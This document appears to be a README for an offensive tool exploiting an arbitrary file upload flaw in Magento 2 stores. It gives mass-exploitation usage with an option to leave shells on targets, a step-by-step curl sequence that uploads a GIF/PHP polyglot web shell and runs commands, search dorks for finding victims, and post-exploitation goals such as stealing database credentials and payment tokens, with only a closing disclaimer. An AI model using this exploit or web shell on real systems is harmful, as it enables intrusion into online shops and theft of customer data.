APSB25-94 (PolyShell) is a critical-severity (CVSS 9.8) unauthenticated arbitrary file upload vulnerability in Adobe Commerce / Magento 2 versions ≤ 2.4.8.
The guest cart REST API (/V1/guest-carts/:cartId/items) accepts file uploads via product custom options without verifying:
- The option ID against the product's actual configured options
- Whether the product supports file-type options
- The file extension (
.php,.phtml,.pharare accepted)
Attackers upload GIF89a polyglot files (valid images containing PHP code) that pass getimagesizefromstring() validation and execute as PHP when accessed.
| Magento Version | Status |
|---|---|
| ≤ 2.4.8 (all versions) | Vulnerable |
| 2.4.9-alpha3+ | Patched |
Discovered by: Sansec Research (March 17, 2026)
Three missing security checks in Magento's cart item file upload handler:
// Vulnerable: no option validation, no type gating, no extension restriction
function processFileUpload($cartItem) {
$fileInfo = $cartItem['product_option']['extension_attributes']['file_info'];
$data = base64_decode($fileInfo['base64_encoded_data']);
// Only checks MIME type via getimagesizefromstring() — trivially bypassed
// Writes to pub/media/custom_options/quote/ with original filename
file_put_contents($destPath . $fileInfo['name'], $data);
}1. Discover Magento 2 via /magento_version or guest-cart API
2. Discover valid product SKU via GraphQL or REST API (unauthenticated)
3. POST /rest/default/V1/guest-carts → get cart ID
4. POST /rest/default/V1/guest-carts/{id}/items with base64 polyglot PHP
5. Shell lands at pub/media/custom_options/quote/nx_xxx.php
6. Access shell → RCE
GIF89a header → passes getimagesizefromstring()
+
<?php system($_GET['c']); ?> → executes as PHP
=
polyglot file that is both a valid GIF and executable PHP
git clone https://github.com/shinthink/magento-polyshell.git
cd magento-polyshell
pip install -r requirements.txt# Single target
python magento_polyshell.py -t target.com
# Mass exploit
python magento_polyshell.py -f magento.txt
# Mass exploit + save results
python magento_polyshell.py -f magento.txt -o shells.txt
# Leave shells on target
python magento_polyshell.py -t target.com --no-cleanup
# Debug mode (show every request)
python magento_polyshell.py -t target.com --debug -t, --target Single target (domain or IP)
-f, --file Target list, one per line
-o, --output Save RCE results to file
--threads Concurrent workers (default: 20)
--no-cleanup Leave shells on target
--debug Show every HTTP request + stage in real-time
-v, --verbose Show detailed output
$ python magento_polyshell.py -t magento-target.com --debug PolyShell | Magento 2 Arbitrary File Upload RCE
[magento-target.com] Magento 2.4.7 detected via version endpoint
[magento-target.com] [+] Magento 2.4.7
[magento-target.com] [*] discovering SKU...
[magento-target.com] SKU via GraphQL: 24-MB01
[magento-target.com] [*] deploying shell...
[magento-target.com] creating guest cart...
[magento-target.com] cart_id: abc123def456...
[magento-target.com] uploading shell as nx_a1b2c3d4.php...
[magento-target.com] shell found: https://target.com/pub/media/custom_options/quote/nx_a1b2c3d4.php
[magento-target.com] [!] RCE confirmed
Host : magento-target.com
Magento : YES v2.4.7
SKU : 24-MB01
Upload : YES
RCE : YES
Shell : https://target.com/pub/media/custom_options/quote/nx_a1b2c3d4.php
Token : f3a8b2c1d4e5f6a7
Output : uid=33(www-data) gid=33(www-data)
Time : 4.2s
PolyShell | Magento 2 Arbitrary File Upload RCE
Targets: 500 | Threads: 20 | Mode: QUIET
[!] magento-shop.com 4.2s RCE uid=33(www-data) gid=33(www-data)
[!] magento-store.de 5.1s RCE uid=1001(app) gid=1001(app)
[50/500] 10% | Magento:23 RCE:8
Done | 145s | Targets:500 Magento:23 Uploaded:12 RCE:8
Step 1 — Detect Magento
curl -sk 'https://target.com/magento_version'
# Magento/2.4.7Step 2 — Get product SKU
curl -sk 'https://target.com/graphql' \
-H 'Content-Type: application/json' \
-d '{"query":"{ products(search: \"\", pageSize: 1) { items { sku } } }"}'Step 3 — Create guest cart
CART_ID=$(curl -sk -X POST 'https://target.com/rest/default/V1/guest-carts' \
-H 'Content-Type: application/json' -d '{}')Step 4 — Upload polyglot PHP shell
SHELL_B64=$(echo "GIF89a...<?php system(\$_GET['c']); ?>" | base64 -w0)
curl -sk -X POST "https://target.com/rest/default/V1/guest-carts/$CART_ID/items" \
-H 'Content-Type: application/json' \
-d "{
\"cartItem\": {
\"sku\": \"24-MB01\",
\"qty\": 1,
\"quote_id\": \"$CART_ID\",
\"product_option\": {
\"extension_attributes\": {
\"file_info\": {
\"base64_encoded_data\": \"$SHELL_B64\",
\"type\": \"image/gif\",
\"name\": \"shell.php\"
}
}
}
}
}"Step 5 — Execute commands
curl -sk 'https://target.com/pub/media/custom_options/quote/shell.php?c=id'body="magento_version"
http.component:"Magento"
Successful exploitation yields remote code execution as the web server user. From there:
- Extract
app/etc/env.php→ database credentials, encryption keys - Access customer PII, payment tokens, admin credentials
- Deploy persistent backdoors across Magento directories
- Pivot to internal networks
FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.
This software is intended for security professionals conducting authorized penetration tests, organizations auditing their own infrastructure, and researchers studying vulnerability exploitation.
Unauthorized access to computer systems is illegal and may violate:
- United States: Computer Fraud and Abuse Act (18 U.S.C. 1030)
- Indonesia: UU ITE Pasal 30 & 46
- European Union: Directive 2013/40/EU
- United Kingdom: Computer Misuse Act 1990
The authors assume no liability for misuse.
| Resource | Link |
|---|---|
| Sansec Research | sansec.io/research/magento-polyshell |
| Akamai Analysis | akamai.com/blog/security-research/magento-polyshell |
| Searchlight Cyber | slcyber.io |
| APSB25-94 | Adobe Security Bulletin |
This project is not affiliated with Adobe, Magento, or Sansec.